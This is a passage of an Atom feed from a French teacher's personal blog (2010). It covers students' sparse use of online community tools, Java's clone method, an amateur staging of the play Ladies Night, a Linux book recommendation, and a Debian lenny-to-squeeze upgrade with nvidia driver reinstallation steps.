&lt;li&gt;certains étudiants confondent mail et mail Facebook;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;outil (comme beaucoup d&amp;rsquo;outils) est mal utilisé (un utilisateur n&amp;rsquo;est pas un groupe et vice versa, le mur n&amp;rsquo;est pas un message privé et vice versa, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour ce qui est de MSN (hormis le choix du protocole en défaveur de Jabber pour la plupart), je trouve dommage de se limiter à une communication « &lt;em&gt;entre amis qui se connaissent&lt;/em&gt; ». Je ne comprends pas pourquoi les étudiants ne recherchent pas un lieu commun où se rencontrent les étudiants de l&amp;rsquo;école qui le désire. Je pense bien sûr à IRC et/ou aux salons Jabber (cherchez ESI).&lt;/p&gt;
&lt;p&gt;Je constate aussi qu&amp;rsquo;un pourcentage assez faible d&amp;rsquo;étudiants utilisent les sites de socialisation &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; (Twitter, blog.). Pour ma part, j&amp;rsquo;essaie de créer, d&amp;rsquo;instaurer une communauté autour de l&amp;rsquo;école mais cela semble vain; planet (&lt;em&gt;lien mort&lt;/em&gt;) quasi désert, hashtag Twitter alimenté par moi seul (et Trusty), IRC &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt; permettant des BBQ de 4 personnes, salon Jabber inconnu donc désert. Seul le forum (&lt;em&gt;lien mort&lt;/em&gt;) fonctionne bien.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;en conclu donc que les étudiants n&amp;rsquo;ont pas / peu d&amp;rsquo;intérêt pour ce genre d&amp;rsquo;outils (et comme certains pensent que c&amp;rsquo;est futile, c&amp;rsquo;est bien), soit le fait que l&amp;rsquo;initiative provienne d&amp;rsquo;un prof les met mal à l&amp;rsquo;aise. En tout les cas je décide de lever le pied l&amp;rsquo;an prochain.&lt;/p&gt;
&lt;p&gt;Par contre ce qui m&amp;rsquo;attriste un peu, c&amp;rsquo;est de constater que la fréquentation du site que je destine aux étudiants (&lt;a href="http://esi.namok.be"&gt;http://esi.namok.be&lt;/a&gt;) soit également assez faible. J&amp;rsquo;ai l&amp;rsquo;impression, au vu des stats, que seules les pages (voire les documents) concernant un cours bien précis sont consultées.&lt;/p&gt;
&lt;p&gt;En bref,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;38 visiteurs en moyenne par jour;&lt;/li&gt;
&lt;li&gt;temps moyen passé sur le site, 1&amp;lsquo;30&amp;rsquo;&amp;lsquo;. La durée des visites a duré de 0 à 10&amp;rsquo;,&lt;/li&gt;
&lt;li&gt;certains document ont été téléchargé 1 à 6 fois.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ne devrais-je pas envisager de donner les documents au format papier et de fermer mon site pour l&amp;rsquo;école ? Nos étudiants sont-ils démunis face à la quantité d&amp;rsquo;informations ?&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;interroge chaque fois en fin d&amp;rsquo;année.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Cet avis n&amp;rsquo;engagera que moi et nullement mes collègues. Encore moins l&amp;rsquo;école (les écoles) dans laquelle je travaille.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Biffer la mention inutile&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Rebiffer la même mention inutile, je sais que je prends parti. Dans la vraie vie, je suis plus modéré et je laisse à chacun utiliser le logiciel qui lui convient même si je privilégie toujours les logiciels tournant sur un maximum de plateformes et proposant des formats ouverts&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;C&amp;rsquo;est vraiment un terme à la mode, je parle ici de mots de passe qui voyagent lorsque j&amp;rsquo;ai un profil itinérant.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;On est bien d&amp;rsquo;accord que cet avis se base sur quelques discussions informelles&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Skyblog ne compte pas&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;irc.freenode.org #esi (_remplacé par &lt;a href="//libera.chat"&gt;libera.chat&lt;/a&gt;)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Java et méthode clone</title><link href="http://blog.namok.be/2010-04-21-java-clone.html" rel="alternate"/><published>2010-04-21T00:00:00+02:00</published><updated>2010-04-21T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-04-21:/2010-04-21-java-clone.html</id><summary type="html">Java et méthode clone</summary><content type="html">&lt;p&gt;&lt;img alt="Un clown et une fille" src="/images/Twins_II_by_Smygol.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Dans le cadre d&amp;rsquo;un projet Java en première, beaucoup de questions surgissent quant-à l&amp;rsquo;utilisation de la méthode clone en Java. &lt;a href="https://www.artima.com/articles/josh-bloch-on-design#part13"&gt;Son usage est polémique et il est conseillé d&amp;rsquo;utiliser un constructeur par copie à la place&lt;/a&gt;. Si l&amp;rsquo;on veut malgré tout l&amp;rsquo;utiliser, la lecture de &lt;a href="https://ydisanto.developpez.com/tutoriels/java/cloneable/"&gt;cet article de Developpez.com&lt;/a&gt; est très intéressante.&lt;/p&gt;
&lt;p&gt;Parfois un dessin vaut mieux qu&amp;rsquo;un long discours (j&amp;rsquo;en profite pour tester un fork de Freemind appelé Freeplane pour faire un Mind map de la situation).&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/clone.png"&gt;&lt;img alt="Mind map de l'utilisation de clone" src="/images/clone.png" width="100%"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Version PDF du mind map [&lt;a href="/pdf/clone.pdf"&gt;pdf&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;clone&lt;/em&gt; permet une copie superficielle assez facilement, &lt;/li&gt;
&lt;li&gt;sinon, il faut copier — par appel explicite à &lt;code&gt;clone&lt;/code&gt; — tous les attributs mutables. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://smygol.deviantart.com"&gt;Crédit photo chez Flickr par Smygol&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Le Blé Vert présente Ladies Night</title><link href="http://blog.namok.be/2010-03-18-Le-Ble-Vert-presente-Ladies-Night.html" rel="alternate"/><published>2010-03-18T00:00:00+01:00</published><updated>2010-03-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-03-18:/2010-03-18-Le-Ble-Vert-presente-Ladies-Night.html</id><summary type="html">Ou quand je me suis fait censurer par les potes.</summary><content type="html">&lt;p&gt;Fin mars, c&amp;rsquo;est le moment pour la troupe du &lt;a href="//leblevert.be"&gt;Blé Vert&lt;/a&gt; de présenter sa pièce de théâtre annuelle. Cette année c&amp;rsquo;est la pièce de Anthony Mc Carten, Stephen Sinclair et Jacques Collard, &lt;strong&gt;Ladies night&lt;/strong&gt; qui est proposée.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Un bar de striptease" src="/images/striptease-4769090546_6c5c294a3d_o.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ladies night est la pièce qui a inspiré le film &lt;strong&gt;Full monty&lt;/strong&gt; en 1999 qui raconte l&amp;rsquo;histoire de quelques amis devenus chômeurs suite à la fermeture de l&amp;rsquo;usine voisine. Suite à leur mise au chômage, certains retrouvent un petit boulot, d&amp;rsquo;autres perdent leur femme, leur fils… ou leur télé saisie par les huissiers.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est dans cette ambiance triste qu&amp;rsquo;ils découvrent que des stripteaseurs, les Chippendales, parviennent à gagner leur vie&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« en montrant leur petit cul de pédé » (&lt;em&gt;dixit&lt;/em&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pourquoi n&amp;rsquo;essaieraient-ils pas ?&lt;/p&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, je n&amp;rsquo;hésite pas à dire que la pièce est géniale et est très bien jouée (en tout cas la répétition générale de ce Mardi était très chouette). N&amp;rsquo;hésitez donc pas à venir la voir…&lt;/p&gt;
&lt;p&gt;Le sujet étant ce qu&amp;rsquo;il est, certains pourraient se demander si l&amp;rsquo;on vient voir une pièce de théâtre ou un striptease ?&lt;/p&gt;
&lt;p&gt;Sans aucun doute, un pièce de théâtre. À la lecture du texte et réfléchissant à la mise en scène je me disais que l&amp;rsquo;on pouvait tout à fait se passer de scène de striptease. Pour la petite histoire, la pièce contient quelques répétitions souvent drôles vu le niveau des protagonistes et une scène finale où nos 6 chômeurs nous font « le grand jeu ». Je cite les dernières répliques de la pièce.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attention je dévoile une partie de l&amp;rsquo;intrigue.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Jacky&lt;/strong&gt;: Elle a pas tort Superwoman ! Merde de merde, il va falloir que je le fasse cette connerie de striptease. Pour Denise et ses copines, pour Suzanne et la vieille de Benoit… Ladies night, tu parles d&amp;rsquo;un trip ! Et le pire c&amp;rsquo;est qu&amp;rsquo;elles vont peut-être prendre leur pied !&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le rideau se ferme et laisse la place à Bernie&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bernie&lt;/strong&gt;: Mesdames et messieurs, chers amis bonsoir ! (…) Voici ceux que vous attendez toutes, voici les rugissants, voici les Metalo boys ! (&amp;hellip;) &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le rideau se relève sur la troupe qui exécute le numéro final. La salle exulte.&lt;/em&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lors de ma première lecture, j&amp;rsquo;avais zappé l&amp;rsquo;intervention de Bernie et je m&amp;rsquo;étais dit que l&amp;rsquo;on pouvait fermer le rideau lors de la dernière intervention de Jacky. Intervention disant: « Ok, on ose, on y va ». Le public reste sur sa faim mais garde en tête toute l&amp;rsquo;histoire de la pièce, à savoir le combat de ces chômeurs désœuvrés pour tenter de prendre en main leur avenir et regagner ce qu&amp;rsquo;ils ont perdu à cause du chômage (respect, femme, télé, enfant…).&lt;/p&gt;
&lt;p&gt;Michel a, quant-à lui, respecté scrupuleusement le texte et propose donc à la fin un mini-show de striptease brillamment orchestré par Anne-So. C&amp;rsquo;est super chouette et les acteurs font ça très bien. Mais on perd un peu de « l&amp;rsquo;étude sociale » pour glisser vers « le show ludique ».&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la que j&amp;rsquo;entre un scène puisque je suis chargé de faire le programme que l&amp;rsquo;on distribuera à l&amp;rsquo;entrée. Comme,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bernard, lorsqu&amp;rsquo;il réalise l&amp;rsquo;affiche choisit d&amp;rsquo;y placer une photo des chippendales &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;équipe technique décide de faire une soirée « Spéciale filles »&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;… je me dis que l&amp;rsquo;on veut proposer un spectacle qui soit à la fois une étude de société et à la fois un divertissement où l&amp;rsquo;on peut voir quelques uns de nos amis qui font « le grand show ».&lt;/p&gt;
&lt;p&gt;Plutôt que de replacer simplement l&amp;rsquo;affiche sur le programme, je tâche de faire une couverture sympa reflétant l&amp;rsquo;aspect « striptease des copains » et « soirée filles du Vendredi ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="La proposition du progamme avant / après" src="/images/couverture-avantapres.png" width="80%"&gt;&lt;/p&gt;
&lt;p&gt;Malheureusement vous ne verrez qu&amp;rsquo;ici &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; ma superbe couverture &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; car l&amp;rsquo;équipe technique a peur de choquer le public. Dommage.&lt;/p&gt;
&lt;p&gt;Quoique ! Peut-être proposerons-nous une couverture collector pour la modique somme de … signée par tous les acteurs.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://www.flickr.com/photos/russelldarling/"&gt;Flickr par Russel Darling&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Faites une recherche sur chippendales et elle se trouve dans les premières que l&amp;rsquo;on trouve&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je peux la fournir dans une meilleure résolution à qui veut&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Oui oui, je m&amp;rsquo;envoie les fleurs tout seul &amp;hellip; comme je suis le seul à lire ce blog ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Et si on roulait tous en Trabant, Linux aux petits oignons</title><link href="http://blog.namok.be/2010-03-06-Et-si-on-roulait-tous-en-Trabant-Linux-aux-petits-oignons.html" rel="alternate"/><published>2010-03-06T00:00:00+01:00</published><updated>2010-03-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-03-06:/2010-03-06-Et-si-on-roulait-tous-en-Trabant-Linux-aux-petits-oignons.html</id><summary type="html">Présentation de livre : découverte originale de Linux</summary><content type="html">&lt;p&gt;Je cite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Imaginez donc un monde où tout le monde roulerait en Trabant. Et imaginez que dans ce même monde, les Clio, 206, Jaguar XS et autres Porsche 911 seraient gratuites. Elles pousseraient sur les arbres, et aussi dans les champs. Il suffirait de les déterrer ou de les cueillir. Les Clio et les 206 seraient prêtes à démarrer, clé en main ou presque, et consommeraient moins de trois litres au cent. Quant aux Jaguar et aux Porsche, elles viendraient en pièces détachées. Quiconque s’aventurerait à récolter et assembler les pièces aurait une belle surprise, car il se retrouverait avec un bolide distillant de belles sensations, un troupeau de deux cents chevaux sous les fesses, et consommant moins d’un litre sur cent kilomètres. Un litre d’huile d’olive.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Belle utopie, direz-vous. (&amp;hellip;)&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Trop belle pour être vraie. Et pourtant, il est un domaine dans notre quotidien à tous, où dix-neuf personnes sur vingt « roulent en Trabant » et pensent qu’elles n’ont pas le choix parce qu’elles ignorent l’existence des autres Clio, 206 et Porsche, qui poussent à côté. Je parle de l’informatique.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Dans notre monde imaginaire, les conducteurs de Trabant regarderaient d’un sale œil ces Jaguar qui poussent dans les champs. Forcément, si ça pousse dans les champs, ce n’est pas sérieux ; si ça ne coûte rien, ça ne vaut rien. Et bien évidemment, si ça consomme peu, les performances doivent être décevantes, voire carrément minables. Le conducteur de Trabant est plein de mépris envers le conducteur de Jaguar, mépris qui se mue en rancœur lorsqu’il apprend que les Jaguar tombent très rarement en panne – en tout cas, pas aussi régulièrement que sa Trabant, mais bon. Il doit certainement s’agir d’un mythe, car n’oublions pas que si la Trabant est la voiture la plus populaire, c’est qu’il doit bien y avoir une bonne raison à cela… Or tout cela a lieu dans notre monde, dans le domaine de l’informatique…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;rsquo;aime bien l&amp;rsquo;introduction et je sais que pas mal de mes étudiants ont besoin d&amp;rsquo;un livre d&amp;rsquo;introduction à Linux &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Je rappelle en passant que je propose une petite bibliothèque commentée sur mon site et particulièrement le livre de Delattre comme introduction à Linux plutôt orientée Debian. (&lt;em&gt;liens morts&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui c&amp;rsquo;est le livre &lt;strong&gt;Linux aux petits oignons que je conseille&lt;/strong&gt;. Il se base sur la distribution CentOS moins répandue et son choix est délibéré car l&amp;rsquo;auteur, qui n&amp;rsquo;a pas une formation d&amp;rsquo;informaticien, veut montrer que quelle que soit la distribution on arrive à la même chose si l&amp;rsquo;on regarde un peu plus loin que l&amp;rsquo;environnement graphique proposé. &lt;/p&gt;
&lt;p&gt;&lt;img alt="Couverture du livre" class="right" src="/images/linuxauxpetitsoignons.gif"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le site (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.editions-eyrolles.com/Livre/9782212124248/linux-aux-petits-oignons?xd=2163bfacdbf42c77d68c7ca6d49a36fc"&gt;Commander chez Eyrolles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Le livre au format HTML, sur le site de l&amp;rsquo;auteur (&lt;em&gt;lient mort&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;N&amp;rsquo;hésitez pas à faire ici vos commentaires sur le livre (on peut tjs rêver) &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Je remercie vivement l&amp;rsquo;auteur de mettre son livre à disposition et je déplore juste que ce soit une version HTML que je ne peux que consulter en ligne &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Bonne lecture&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je pense par exemple à mes étudiants de deuxième gestion qui m&amp;rsquo;ont avoués être un peu largué finalement ^^ Pourtant on pourrait croire qu&amp;rsquo;ils ont eu de bonnes bases en première. À revoir.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Marie-No, tu peux essayer de lire, ça se présente comme un livre de cuisine.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Oui, je connais &lt;code&gt;wget -r -l10&lt;/code&gt; mais bon ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Update lenny vers squeeze</title><link href="http://blog.namok.be/2010-03-06-Update-lenny-vers-squeeze.html" rel="alternate"/><published>2010-03-06T00:00:00+01:00</published><updated>2010-03-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-03-06:/2010-03-06-Update-lenny-vers-squeeze.html</id><summary type="html">Update lenny vers squeeze</summary><content type="html">&lt;p&gt;Il était temps. En fait pas vraiment j&amp;rsquo;avais juste envie. Ce n&amp;rsquo;était pas du tout le moment car j&amp;rsquo;ai plein de boulot en retard, mais bon je me suis dit: &lt;/p&gt;
&lt;p&gt;— On passerait pas à squeeze ?&lt;/p&gt;
&lt;p&gt;&lt;img alt="Un Tux en plastique sur la neige" src="/images/wheezy-1185531799_4a3f52ae33_b.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Chez &lt;strong&gt;debian&lt;/strong&gt;, la distribution de linux que j&amp;rsquo;utilise, &lt;a href="http://www.debian.org/releases"&gt;il y a plusieurs versions disponibles en parallèle chacune d&amp;rsquo;elle portant un numéro (5.0)&lt;/a&gt; et un petit nom. J&amp;rsquo;utilisais donc la version &lt;strong&gt;stable&lt;/strong&gt; &lt;em&gt;lenny&lt;/em&gt; et je suis passé à la version &lt;strong&gt;testing&lt;/strong&gt; &lt;em&gt;squeeze&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;En général, j&amp;rsquo;utilise la version &lt;em&gt;testing&lt;/em&gt; sauf lorsque l&amp;rsquo;on est proche d&amp;rsquo;un saut « majeur ». J&amp;rsquo;étais donc avec la version &lt;em&gt;lenny&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; depuis quelques années. Cette version est passée de l&amp;rsquo;état testing à stable. Aujourd&amp;rsquo;hui c&amp;rsquo;est le bon moment d&amp;rsquo;utiliser &lt;em&gt;squeeze&lt;/em&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Le décideur pressé lira qu&amp;rsquo;un saut de version avec debian se résume à trois commandes et une mise à jour de fichier. En très bref, c&amp;rsquo;est&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;apt-get update ; apt-get upgrade&lt;/code&gt;, histoire que le système soit bien à jour avant de faire le saut;&lt;/li&gt;
&lt;li&gt;Dans le fichier &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; il faut remplacer les occurrences de &lt;em&gt;lenny&lt;/em&gt; &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; par &lt;em&gt;squeeze&lt;/em&gt; &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;apt-get update&lt;/code&gt; afin de télécharger la liste des paquets de la nouvelle version;&lt;/li&gt;
&lt;li&gt;Une série de &lt;code&gt;apt-get dist-upgrade&lt;/code&gt;. &lt;em&gt;This may take a while, try something else to do&lt;/em&gt;&lt;ul&gt;
&lt;li&gt;Une série signifie qu&amp;rsquo;il faudra relancer la commande jusqu&amp;rsquo;à ce qu&amp;rsquo;il n&amp;rsquo;y ait plus d&amp;rsquo;erreur.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;utilise &lt;code&gt;apt-get&lt;/code&gt; plutôt que &lt;code&gt;aptitude&lt;/code&gt; sans raison particulière si ce n&amp;rsquo;est que &lt;code&gt;apt-get&lt;/code&gt; étant de plus bas niveau il a tendance à prendre moins de décision pour moi. Dans ce cas précis, j&amp;rsquo;ai utilisé un peu les deux.&lt;/p&gt;
&lt;p&gt;Dans la pratique certains problèmes risquent de survenir, je vous raconte les miens.&lt;/p&gt;
&lt;p&gt;First, il existe une nouvelle version de &lt;strong&gt;dbus&lt;/strong&gt; qui n&amp;rsquo;est pas compatible avec les noyaux &lt;em&gt;&amp;lt;2.6.25&lt;/em&gt;, il faudra donc mettre à jour vers un noyau &lt;em&gt;2.6.30&lt;/em&gt;… qui n&amp;rsquo;est pas compatible avec votre version de dbus. Oops ! Le chat se mord la queue.&lt;/p&gt;
&lt;p&gt;Solution: Autoriser/forcer l&amp;rsquo;installation de dbus puisque l&amp;rsquo;on met à jour le noyau avant tout reboot. Ça stresse un peu mais ça passe :-)&lt;/p&gt;
&lt;p&gt;Deuxièmement, &lt;strong&gt;Grub&lt;/strong&gt; passe à la version 2. Debian vous propose de conserver Grub 1 qui lancera Grub 2 et si tout va bien faire l&amp;rsquo;update ensuite. Pas de soucis de ce côté.&lt;/p&gt;
&lt;p&gt;Ensuite tout se passe pour le mieux, on a &lt;em&gt;rebooté&lt;/em&gt; sur le nouveau noyau, on est en console et on fait ses &lt;code&gt;apt-get dist-upgrade&lt;/code&gt;. Plus d&amp;rsquo;erreur, c&amp;rsquo;est fini, je peux lancer X (perso c&amp;rsquo;est un &lt;code&gt;startx&lt;/code&gt; car j&amp;rsquo;utilise &lt;a href="http://www.fluxbox.org"&gt;Fluxbox&lt;/a&gt;)… et damned ! pas de X. C&amp;rsquo;est vrai j&amp;rsquo;ai une carte &lt;strong&gt;nvidia&lt;/strong&gt; j&amp;rsquo;avais oublié.&lt;/p&gt;
&lt;p&gt;Je vous passe les détails pour trouver la solution &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; mais il faut réinstaller les drivers nvidia.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nvidia-installer --update&lt;/code&gt; télécharge les drivers sur le site de nvidia et tente de les compiler… mais non, tout n&amp;rsquo;est pas là il faut lire les erreurs ^^&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Télécharger les drivers chez nvidia histoire de ne pas les retélécharger chaque fois que l&amp;rsquo;on lance la commande précédente&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;ftp://download.nvidia.com/XFree86/Linux-x86/195.30/NVIDIA-Linux-x86-195.30-pkg1.run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ensuite installer les sources du noyau &lt;code&gt;apt-get install linux-source-2.6.30&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Décompresser les sources (dans &lt;code&gt;/usr/src&lt;/code&gt;) et créer le lien symbolique &lt;code&gt;linux&lt;/code&gt; vers &lt;code&gt;linux-source-2.6.30&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Compiler le noyau&lt;ul&gt;
&lt;li&gt;&lt;code&gt;make oldconfig&lt;/code&gt; configure le noyau sur base de votre config actuelle &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;make&lt;/code&gt; &lt;em&gt;This may take a while, try something else to do&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Relancer l&amp;rsquo;installer nvidia (plutôt via &lt;code&gt;bash NVIDIA-Linux-x86-190.53-pkg1.run&lt;/code&gt; pour éviter le retéléchargement)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maintenant ça roule (chez moi en tout cas) mais je &lt;em&gt;boote&lt;/em&gt; sur le noyau &lt;code&gt;2.6.30&lt;/code&gt;, le &lt;code&gt;2.6.32&lt;/code&gt; ne m&amp;rsquo;ayant pas permis d&amp;rsquo;installer les drivers nvidia.&lt;/p&gt;
&lt;p&gt;Note aux étudiants&lt;/p&gt;
&lt;p&gt;On constate qu&amp;rsquo;une mise à jour n&amp;rsquo;est jamais immédiate et que l&amp;rsquo;on ne peut pas se contenter d&amp;rsquo;un clic ou d&amp;rsquo;une seule commande. On ne s&amp;rsquo;étonne donc pas que l&amp;rsquo;on conseille de faire un backup avant et que parfois ça se passe mal.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
